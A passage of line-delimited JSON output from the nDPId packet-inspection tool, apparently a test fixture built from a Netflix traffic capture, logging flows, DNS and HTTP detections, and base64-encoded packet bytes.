NJSwxCr6NDcYgbvEc+gQNz5Y8aAubOa3AaWJlU+IxnyppkZQTmulXHDZJvk4ijmbVP3Qm1NzBO\/8AKt8cZRXehZsiVfrOY8XklfiMyySmREbTGT0XoB5YxVYRvVvxC3YQW07JjWmknzXb+VVJ2NdMXa0ZSVETdaiYipXOxobqa1RnJi5wPfS97g5O9MbHOoyc1ojJs2nY3ttPwC6SC4kZ+HSN9Ih30Z+svh5iuw3N8ov7WNGyr7HB2ZWBwfiK+ahkkL0NdS4T2heQcKgdjJNbWuZJCeTYIA92fxqJwt6MJx+zR3swlu5QvjufGoInCuVx5gGhe+OovvuetRNdrHqyQK74xpUcbJ5JnaQMxB9KpJJ0ktVRuhyTnlVXJeMR9CpJ8TUMhZlAlJDt51VEBlzxJIwsYOTjGR086qL2W6VsB9KncMN8++jhYSOqsYw2eVIeG3BhYSYMf2BzHso0hFAFaRiWcFifDerC24Jf3AV0Ux75DNtV5w2ysgitFENSjJLc6tWmUKpLY25ZqHLwJszsnDoobpPn8YlGMd4mwJp1\/wAFiu7y27hhEpTSBjbSPCjr3iHDwvdTyqc81B3zQdrMbXiYQlpFXkRvtQSQ8UiisLSztcqCsustpwT76t+HhI4i+oBSdqpu0EL8S4kohdQioBqY4HjQ0NqzKEm4gdIH1NhR2DLviUtrJGXM6JMo9FvHyPlUVpxmSSxDLE0pQ4OjcihY5eB2Ns0rw95MDgGb0ifdVTedo3lcCHKxDoMLn4UEl8OKcRnbEVusfnI2KvuzC3kfFJGvLlCXjIWJR5g5rn69ozHC\/wBGO8Jyp+zWs7A8J4hcXR45eSOsTIViVucmevs\/nWeVpQZUE+WjoWqsn8ok8SdkbhXdVdmTQCd2IPT3VouIX9twuxlu7pwkUYyT1PkPOuD9rO0tx2g4i00hKwr6MUYOyj9a5cONylfg2lKjOyMSxxXoeHXt++i1t5ZmPSNCf5U+B4kkV5RqAOSvjXRR8qtlY2KQcO4NHA4UDAxgfCu2UmukZI5jE+wq44RxWfhd7Fd20hSSM5B8fI+VWnaThHD7S\/Is9Ohhq0j6tZ6WDuxlCcVSkpIZ9FdnePW3aDhi3MJCyDAljzujfpVhc2qzrqGQ45EGuBdle0VxwPiKTxNlTs6Hky+Fd64bxG34rYx3ds+qNx7wfA+dcGXG8crXRvFqSpmee6illaGGeKSRGKvGx0up8MeNBzqxjYqpVgc71P237H\/23D\/aFh9HxOFdiNu9X7JPj4H3Vza17Q8f4QzIzSSIPRZJl1AY6eVb48iaM3jo20MItzM8YIaU5dWOMnxqNbu5hjvLc47qR17th08c1S23bW1lJF9aSQMw9aPcfCjGv7O5OqzuIpSVPM7+8VsnGQJNEN98yfhJmhZmuBc6MDYezH51PHBNaGLv1VTLGGAzvv0qiu7O4Q6tBwc="} +02383{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":948847,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcCgRAADwG6RW4GcwZwKgBBwBQz57u7FvHcjxh\/YAQA6sxIQAAAQEICv\/8PdofZOEiwG9TWfEZ0ubZ5QsggwgDD6o\/Os9pmiJOIo8V0rLsCNsUKCPrsFz1q3uZ4bqGd5AQ+pSpOygHOaqryBIZJIWkDKuDqUZ51MjSJMRaRRERy6yeuKliNskmTOdQ2oVIrMWxY3Dh+WCmx\/GllhhEyCC6WddO5KFSD7KjfRqixQWkjJG1yACeeKP+ZW8Dr3c6SLzqk+bxlULkZ8aLs4oBJ\/jKB186TTvso0trG6FmXS0ci4K0G80pL+iQvLFFW1gkc3frOkkajV6J2FF30Ea8NjkR1bXkkjxpE2VVq4BCnOau4WXSCM486zavmYKANWedXEVwYwV6EAnepaKZeQyEpRMcu1UUN3nbcUZFPvjNQ0S0XSPmpVbNVsNxvjNFrJUtENDOLWrXnDpY49Pegao9QyNQ5Vy+XitjPE63lkqTbrrh9HBHivI11pG1CsJ2t7GT3d0b3haKWkOZIi2N\/EVz5cEcjTfZ1+lzrHcZGGtLb59xGC2jB+llVQPaa7RfxwNZfM5HWNZF7tcnHSsn2O7IT8Puvn\/EQqyp\/hRg5x5k1N2o4dxq+4zE1rAZLVEGnDADJO+aMsZKDUezSU45cqV0l9mc7U8OWy4VbxLIjGOR19Eg5BOR7MVhZBh66pxbshMOzs0gJkvQRIUU7ADmB54rl1wjKxyMGqwKUYpS7NXOM0+LsEkND45+2p3NQsa60Ysif1TTOQoiOCS4lWOJGd2OFVRkk1fjsNxNymmW3AYAtljlT1GMb1pFN9GUpJdlfwbgN3xNWnjCJEpxrkOxP51s7GxteFW7CPMsr\/4krfWP5CirfhPzKxitojlYlwemT1PvNeghLyKkh0rmumEUtnLObl\/gM8txJnfCjoDT0hklhzoyB41Y3FukYzENxvjxpIbtH0jIGdsVpZiyFID83GkjJOBTIkWTiJhODjGamMRFwHUgIDlh0oJAEvDL3wDHPup3ZBbyzfMZAwXVATg4+rUNxxeJGwg1sOigmq+8vYkwqK0mfWLnNBXXHAqmKFgiEYJA3NSokhxvJWuO+jiMMbDBJbmfZQV3MVuYkur8nJzpXYKPbVPLcXE2BDHI5zsQDTTw7iV3\/iBY8DILtvSYFv8A2hw2S7JaIZLZMj+kT50+ftSyl4rUJEmMGTG7edUsHBbiSNHlkOpmx3SD0sVc\/s5axQyaogWIAVppfV8dqWySlk4sO8JJLAjfNDia7nb6GKY+GAav4bbhthIuu4txpGdlzvUNx2giSRliIZAdiRzp0Sysfh\/FJcNImjPV23om17OSTf411pH\/AMa5pR2iZZxI8CyqBsCK1\/ZK24l2gl+dTxrb8NQ\/VGDKfAeXiamUoxVsEm9ITs18n1lOUur0SSRKchXOA59nhXRJpYLK1aSRkigiXJPIKBUvoRR9FRB7AAK5D297XtxKY2Nm5FpGdyP8w+Ps8K4vlml+HTSxx\/Sr7a9rpeO3pjhJSziJEaeP3j51iZJMmnzSZJzQrNk13RioqkYN2PXB5717IB2ApAdq9pobAsfnjyvrdiSepNI8wKHwqmW7AHrU43eoYBpJMoOilw+xrfdie1T8IuxHKxa1k2dfDzFc2herK3mKkHOKqcVJUwTo+noZo7iFJYnDxuMqw6is12k7OfOtd5ZkxykYmVR648ceP86x3Yntn8xdbK8cm2c7E\/UPj7K6wrK6B1IZSMgjkRXnSjLFI6E1JHHeJcMzEtpfKCrZMM6jBU+dUV72avLN10qWBAOqPfGa6h2u4W6rHdwoGgR9Uo+x5+yqmHiUTquoDwrTnasVGAju+K2I0CV2TGNL7\/zpo4pICC8ZRh1FbyeKxuHyyj0uYxQb8Jt5V0RSCPB5YBFP3Ckigg4olzAYJMb9c4qFhLnvUDbDbrRlxwIXjztGqxzxnS4HqsfEeFCQ8P4rZSYB0RnYsTlaHNPstR8D4+IzKoY="} +02379{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":683,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319043,"pkt_ts_usec":974371,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcCgVAADwG6RS4GcwZwKgBBwBQz57u7GFvcjxh\/YAQA6tYCwAAAQEICv\/8PdofZOEiUoXVg2CgI+FOF\/Je3TzSiNWI30IFB91RTQaEM0ki6idtK86FhUvJpSVUP3ts0r2aJFr87KhVIUhV5kc6Isb0iZD3UJAOcMuxqr+k7rBZGI9HOd8Vc2XDnkgSWRwi9MCm2Ms14g3f96ERV5lAPR+FMMspTY+ieYzQkkXzcsAzMGGxqVIy4UhDgb5oAmWIvMNPxBq6s7YtCVZHLjnvtiqu3wuTobVVmL94oO6UEdcNzpMTJXjjVdS68dc+NIkm+AdqgS+dwzORnpvioWunZjhQM1A0XUMjLgmrCO4GKzsF3ITkjYbVYrIWUMF\/GlQmi5jucYowSK4x1qij70gej+NFJI6kAg1LRDRY5KnepHfQmaEW52wyk16a6TuORzSomiQ3APOsn2i7L8O4sjvGi2t0dxIg9En7y\/pVobsF9jvQ8jZbJfatFBFRk4u0c1k7CcY1lVNs2\/PvcZoq2+Tq4BDX15HGPsxDUfidq3wIO4PLlSM5HrYwfGtVBFPNIo7Tg3D+Cxf7NEO8xhnfdj7\/ANKnjlBOsDONyKIuzFjnk0BJI+MJFsK3ijFu+x002csgKsevlQJYCcuSSOWK880jPk4WvAQpHrkcs3lWiRI6S5RU9NuY5k8qAW60aggJY5xpFEiWLQSIgd+tDTXZzkKigc6tEDRJdPgH1RyGaabSWSUaptHUgdBUEnEJCh0SDA6KKClnldtlkJx060dCZdTQcPQZluC2BuC\/6VXtf2MTAR2wUdWAyaA7m5kGRBv5157O7lIzoU9B1qWyaLF+OxxH6O0LHG2s4oC541dXS6VWNBzwKjXhNzhi0hUdeQqSHhtgp+mvIyeo7ypsVAUc9w0msz6Co5hgKie4d3zJO7jwLGr0Q8Ahjy8qk+KjVQb8U4REQILV5MEZLbCgkr0dDMD3RK+Cj9acY5ZSSkDaeYB8M0avH7MPhbUKgHPFabspbntHdlYrQR28JHezHkPujzpOSSthV9A3ZTsjdcbudd2oj4fG3p+Ln7K\/ma69DDFbQJDCixxoAqqowAKS3t4rWBIYUCRoMKo6Vk+2PaleHwvZWrjv2GHYH1fL21wylLLKkdCSxq2VnbrtXpR+G2cno8pXU8\/IeVcnupC7E86NvbppHZmOSetR8OnXvirAHPiK7YwUI0jncnJ2ysjsby7YiC2lkP3VJo6LsnxZyO8gWLP25BtV\/HdtC4KHGKube8W60gAKeoqJZGuhmYi7Gz\/5t1Go+6pNGJ2StFADzyseuMCtHI2GYCo1YbGsnkkOjjqxxH6q151RfVFNXGeXIUx2Bk25V2IQVG3Ki4pKrkaiY2piLWG4KEEGt32e+UW64RZfNZoVuY19TU+Cvl7K5ur1Mr1EoKSplJ10dbPyqiRSjcLRlIwQZdiPhWKn4g7XUj2zGKFmJSM76B4Z61nkkOedTrMfGoWKC+iuTZfR8UuVO8in3VPHxaZDnIJrPCY+NPEx8aHjh4KUmaS34vJHrLbs7Ek5o2PjRMeh01DzrKJKfGiI5d+dZPFE0UmXzvFcM+Uwrrgjz8aGPDIypw5z0zuPfQ0U3nRaS7c6h40WpsanCEXBWZvPpVnAb2IKonRohtpIxkUKktTJJ51PGi+TJpYdbFgdOfq52pYRNGAMrjNR95vzpwfzpj5Byy43xg1IZsgDOfHNV4k86cH86VhYerounG467UoYchQYfzqRXpMdh0EgiBzyNHxXsCEZJHuqlEm3OvB6VA2aAcViX1WPvFEJxe0xhnP7tZjX50mvzook1P8Aalnj\/HI\/6TQlxxOJ\/RVzp9lUOukL00gLT58gHrMfdULXm+R+NV+ukLVaYixF6V5MfhTJb3UmyknPU1Xl6TV51SkyWFNdsUOV9LpQUsk7DC5weeTSl6YZKtTZJGI364Appjcn0pGIp7PURkquciWxvcKeYc++mmJEO0TEe0U="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":703,"source":"netflix.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1484319044993,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.24.87.6","src_port":52929,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00417{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319044,"pkt_ts_usec":993872,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"gCqoTGHM5JjWH70UCABFAAAoz5tAAEAGHmfAqAEHNBhXBs7BAbvkIOdlTYzTZlAUEACWDAAAAAAAAAAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":795,"source":"netflix.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1484319048757,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":58102,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":795,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":757894,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"gCqoTGHM5JjWH70UCABFAABBS2MAAP8R7O\/AqAEHwKgBAeL2ADUALZ5c\/mQBAAABAAAAAAAAB2FwcGJvb3QHbmV0ZmxpeANjb20AAAEAAQ=="} +00636{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":795,"source":"netflix.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1484319048757,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":58102,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"appboot.netflix.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00598{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":796,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":776187,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"5JjWH70UgCqoTGHMCABFAACy4UZAAEAR1ZvAqAEBwKgBBwA14vYAnkKZ\/mSBgAABAAUAAAAAB2FwcGJvb3QHbmV0ZmxpeANjb20AAAEAAcAMAAUAAQAAAG0ADgdhcHBib290A2dlb8AUwDEABQABAAABawAbB2FwcGJvb3QJdXMtd2VzdC0yBnByb2RhYcAUwEsAAQABAAAACwAENsm\/hMBLAAEAAQAAAAsABDQr9VrASwABAAEAAAALAAQ0GfQx"} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":796,"source":"netflix.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":2,"flow_first_seen":1484319048757,"flow_last_seen":1484319048776,"flow_tot_l4_data_len":203,"flow_min_l4_data_len":45,"flow_max_l4_data_len":158,"flow_avg_l4_data_len":101,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"192.168.1.1","src_port":58102,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.NetFlix","breed":"Fun","category":"Video"},"dns": {"query":"appboot.netflix.com","num_queries":1,"num_answers":5,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.201.191.132"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":797,"source":"netflix.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1484319048780,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.201.191.132","src_port":53151,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":797,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":780859,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAtrNAAEAGzAfAqAEHNsm\/hM+fAFA6e8d6AAAAALAC\/\/+ZMQAAAgQFtAEDAwUBAQgKH2T0hAAAAAAEAgAA"} +00438{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":798,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":824981,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGmJ82yb+EwKgBBwBQz59tgW\/FOnvHe6ASRep1DwAAAgQFtAQCCApXXrqDH2T0hAEDAwg="} +00426{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":799,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":826457,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0VQxAAEAGLbvAqAEHNsm\/hM+fAFA6e8d7bYFvxoAQEBXZhAAAAQEICh9k9LFXXrqD"} +00849{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":800,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":830359,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"gCqoTGHM5JjWH70UCABFAAFtxNtAAEAGvLLAqAEHNsm\/hM+fAFA6e8d7bYFvxoAYEBUtNAAAAQEICh9k9LRXXrqDUE9TVCAvYXBwYm9vdC9ORkFQUEwtMDItIEhUVFAvMS4xDQpIb3N0OiBhcHBib290Lm5ldGZsaXguY29tDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KVXNlci1BZ2VudDogQXJnby85MDAgQ0ZOZXR3b3JrLzgwOC4yLjE2IERhcndpbi8xNi4zLjANCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdDogKi8qDQpYLU5ldGZsaXguQVBJQWN0aW9uOiBhcHBib290DQpDb250ZW50LUxlbmd0aDogMjI5OQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi11cw0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQoNCg=="} +00699{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":800,"source":"netflix.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1484319048780,"flow_last_seen":1484319048830,"flow_tot_l4_data_len":461,"flow_min_l4_data_len":32,"flow_max_l4_data_len":345,"flow_avg_l4_data_len":115,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.201.191.132","src_port":53151,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"appboot.netflix.com","url":"appboot.netflix.com\/appboot\/NFAPPL-02-","code":0,"content_type":"","user_agent":"Argo\/900 CFNetwork\/808.2.16 Darwin\/16.3.0"}} +02364{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":801,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":841019,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXc5GhAAEAGmLbAqAEHNsm\/hM+fAFA6e8i0bYFvxoAQEBWdRQAAAQEICh9k9LVXXrqDeyJlbnRpdHlhdXRoZGF0YSI6eyJhdXRoZGF0YSI6eyJpZGVudGl0eSI6Ik5GQVBQTC0wMi1JUEhPTkU2PTEtODc1OUZDM0NFMDgzNjA2M0MyMTA3RDZBMDM1QUY3M0QyMzU2NzlBQ0Q2OUNBOTg4N0JGNjQ1NzBFQTJERkQ5OCJ9LCJzY2hlbWUiOiJNR0sifSwiaGVhZGVyZGF0YSI6ImV5SmphWEJvWlhKMFpYaDBJam9pVUVkVlp6Rk1OazE0TldkVlpXeDRhM2QxU2tkRFpUSmxObFY2Y0N0NUswWjNkVU41WVVKbVJHTnllblZZTVdkTldXcENTVEJ2U2xWVFRUVXZOamM0UldGcWJXVTRUelY0U21oQ01ubE9PWGcwTTJaTlQwNVJSRUkxYzAwME9IUlBRbU5KU2xab1dFWktORFl4TlZsclNsZGtlRVZaVFhSblNVcGtVVm9yWmtaMWQxcHpjek5JTTFJeFREYzRjWGcxU2s5d09IZFVORGRZWjFJMFIyb3lWVVJGZUZObVozRk9TalkwVHpKSE9IRktSVFJaYldGUmFGVnZkbTB4VGxremEyTnVPU3QyVnpGT0t6QjZVR1p1V2pCR1kwdEpSbkZSYjBKVmJDdGlWSFJaTms5dE55dDBRV3cxYUd0SE4xaFNVak5oUldsYVltSm5kMmMyUlhVd1JteHBSSHB2U0U5WFlYVmlkRGdyUmtnMlYyb3phWHBDYVc5bVYwRmhTREI0VkRJNGRuSkJXbW8zTlRsM1dHZHhWamhVVDFndmNFRXZObWtyZEZoSWQwOVpPVlZHUW14UVkxVlRaSFZXU3l0VWQzSTNVMGRqVVRkT1owZE1lRVp5YjFoQ1dHbzRibEl6ZVRGbFYzZHhVMlJVTm0xWllWUkJSbEZRVG1GaGVETmpiM0pSVGxoUFl6ZEtNbVV6VTJwdGVrbElhRlJ6YTBacldsSlNZa1p6ZWxCSFRFNWhMMVZZYnpGWWRtdGxjRnBhWTBzNFEyNHpaVzVCYlVGdk5EWjRMM1ZDYWxoUU5qZFFlR3RpVWtjMmJVOVJSMDlIVVdsSlZqSlRWbHBWTDFkS1NEUk1TbXRyZG1Wd2QwUXZhRmc0ZURKaFVFeDBRVkZPVDFBMVFtNUdiR2d4WmpOWVlVbG1OWG95U0VkRFFUTjVOMDVoYUVaNVZFWjZkV3RhU2tSYVZHc3pSME5KV21wamJrVkNkekJXZUZsbFVETjJhVWh3UzBwT1JTdHhiMWhFVFROb2VFMXdNalIwV25kRk0xbHdSSE42WTA5bWRIWlNOMnMxVTFoalVFZFFjV3ROY1c5YVIyVkNkM2hrVkRCWlNXVnlhR0ZFVEhsRFltRnROa3htTkhKTWVrbFdVbFZhU3pWYVpHWjFSbWMwY1d4dE9VRTlQU0lzSW1sMklqb2laWEZvVFZaak5VaFFiV1ZSZFZSUFYxZHJZemwxZHowOUlpd2lhMlY1YVdRaU9pSk9Sa0ZRVUV3dE1ESXRTVkJJVDA1Rk5qMHhMVGczTlRsR1F6TkRSVEE0TXpZd05qTkRNakV3TjBRMlFUQXpOVUZHTnpORU1qTTFOamM1UVVORU5qbERRVGs0T0RkQ1JqWTBOVGN3UlVFeVJFWkVPVGdpTENKemFHRXlOVFlpT2lKQlFUMDlJbjA9Iiwic2lnbmF0dXJlIjoieWZ5ZkVRQjVpTjVkeCttb1YyU0FhWnliK1NLMDdPVDVjazhPNE9VdjlZWT0ifXsicGF5bG9hZCI6ImV5SmphWEJvWlhKMFpYaDBJam9pUWpSS056SjFXRzQ1VUhRNVJqUmtRbk5ETUhsWVdWVlVRV3hYUVZwb1ptOURURWRETmpWMmJEaFNhbXhhTVZOUGMycDVhVGwwTmxaNVJsVXlNVUZOTWxOVGRVMVlWVXQ="} +01565{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":802,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":841212,"pkt_caplen":917,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":917,"pkt_l4_len":883,"pkt":"gCqoTGHM5JjWH70UCABFAAOH9QpAAEAGimnAqAEHNsm\/hM+fAFA6e85cbYFvxoAYEBVFHgAAAQEICh9k9LVXXrqDalZrRm9iRTk2ZGtwSGJYbHFTeTlDVjJWYVRrbDVTMnh2WkVkUFEyVm1XbkpMSzJZd2VtdHBTakF3VTJoNmJWaG9OalJ6VnpBMFZHaHFkRlZQTlhOUE9HMVNWRVJZYTNsV1N6TlNMemhLUmtOUGJrWk1RbkZ2Vmt0dE5uQkVlak5yWTJ0M09UTm5jRlZtYTBsU05sbzBVMUJCZUc4clJXMVZJaXdpYVhZaU9pSjRkazFvUldwNUswMWhaMGh6TDI1YU5tUnVibk5SUFQwaUxDSnJaWGxwWkNJNklrNUdRVkJRVEMwd01pMUpVRWhQVGtVMlBURXRPRGMxT1VaRE0wTkZNRGd6TmpBMk0wTXlNVEEzUkRaQk1ETTFRVVkzTTBReU16VTJOemxCUTBRMk9VTkJPVGc0TjBKR05qUTFOekJGUVRKRVJrUTVPQ0lzSW5Ob1lUSTFOaUk2SWtGQlBUMGlmUT09Iiwic2lnbmF0dXJlIjoiaVc3NjVLYXoyb29pUnUvNzNWVEZmM0Vha3QvZHlRR3g5M1VoL25kbmc4Yz0ifXsicGF5bG9hZCI6ImV5SmphWEJvWlhKMFpYaDBJam9pWTBSeFRYQjBaM1IyZVhGS2JVSnpZM01yV1dvM2IzUmhlVFZNY1d4b2RIRmtOU3RaTDBkU2FWTktla2RqUVZkNGJTdG5PUzlOVFdVd0wyTXlZVmhPVFVaVVkyMHlLeTlFVjFOSFMyOWFVRzkyTm14aGIzTmlSMnQyWmpOdU1VdEhOemhtVjFWaVpFeHdiMFU5SWl3aWFYWWlPaUpJUkdOYVRWQTVOMGhYYUc1RmQyVnlSMk55VFZablBUMGlMQ0pyWlhscFpDSTZJazVHUVZCUVRDMHdNaTFKVUVoUFRrVTJQVEV0T0RjMU9VWkRNME5GTURnek5qQTJNME15TVRBM1JEWkJNRE0xUVVZM00wUXlNelUyTnpsQlEwUTJPVU5CT1RnNE4wSkdOalExTnpCRlFUSkVSa1E1T0NJc0luTm9ZVEkxTmlJNklrRkJQVDBpZlE9PSIsInNpZ25hdHVyZSI6IlBIQ01yaG92VU9Yd29aQzVKdE1uTWwwOUZJdFo4S3Z5dmNhWHJKcmxvOFU9In0="} +00426{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":803,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":884984,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA01UlAACoGw102yb+EwKgBBwBQz59tgW\/GOnvItIAQAEvoAwAAAQEICldeupIfZPS0"} +00426{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":804,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":890720,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA01UpAACoGw1w2yb+EwKgBBwBQz59tgW\/GOnvOXIAQAFbiTQAAAQEICldeupQfZPS1"} +00426{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":805,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319048,"pkt_ts_usec":891710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA01UtAACoGw1s2yb+EwKgBBwBQz59tgW\/GOnvRr4AQAGHe7wAAAQEICldeupQfZPS1"} +01313{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":808,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319049,"pkt_ts_usec":26765,"pkt_caplen":728,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":728,"pkt_l4_len":694,"pkt":"5JjWH70UgCqoTGHMCABFIALK1UxAACoGwMQ2yb+EwKgBBwBQz59tgW\/GOnvRr4AYAGF7rgAAAQEICldeurYfZPS1SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtbXNsK2pzb24NCkRhdGU6IEZyaSwgMTMgSmFuIDIwMTcgMTQ6NTA6NDggR01UDQpTZXJ2ZXI6IGFwcGJvb3QtOjcwMDEgaS0wYjI3M2I0YzQwZjRlNzhhMw0KU2V0LUNv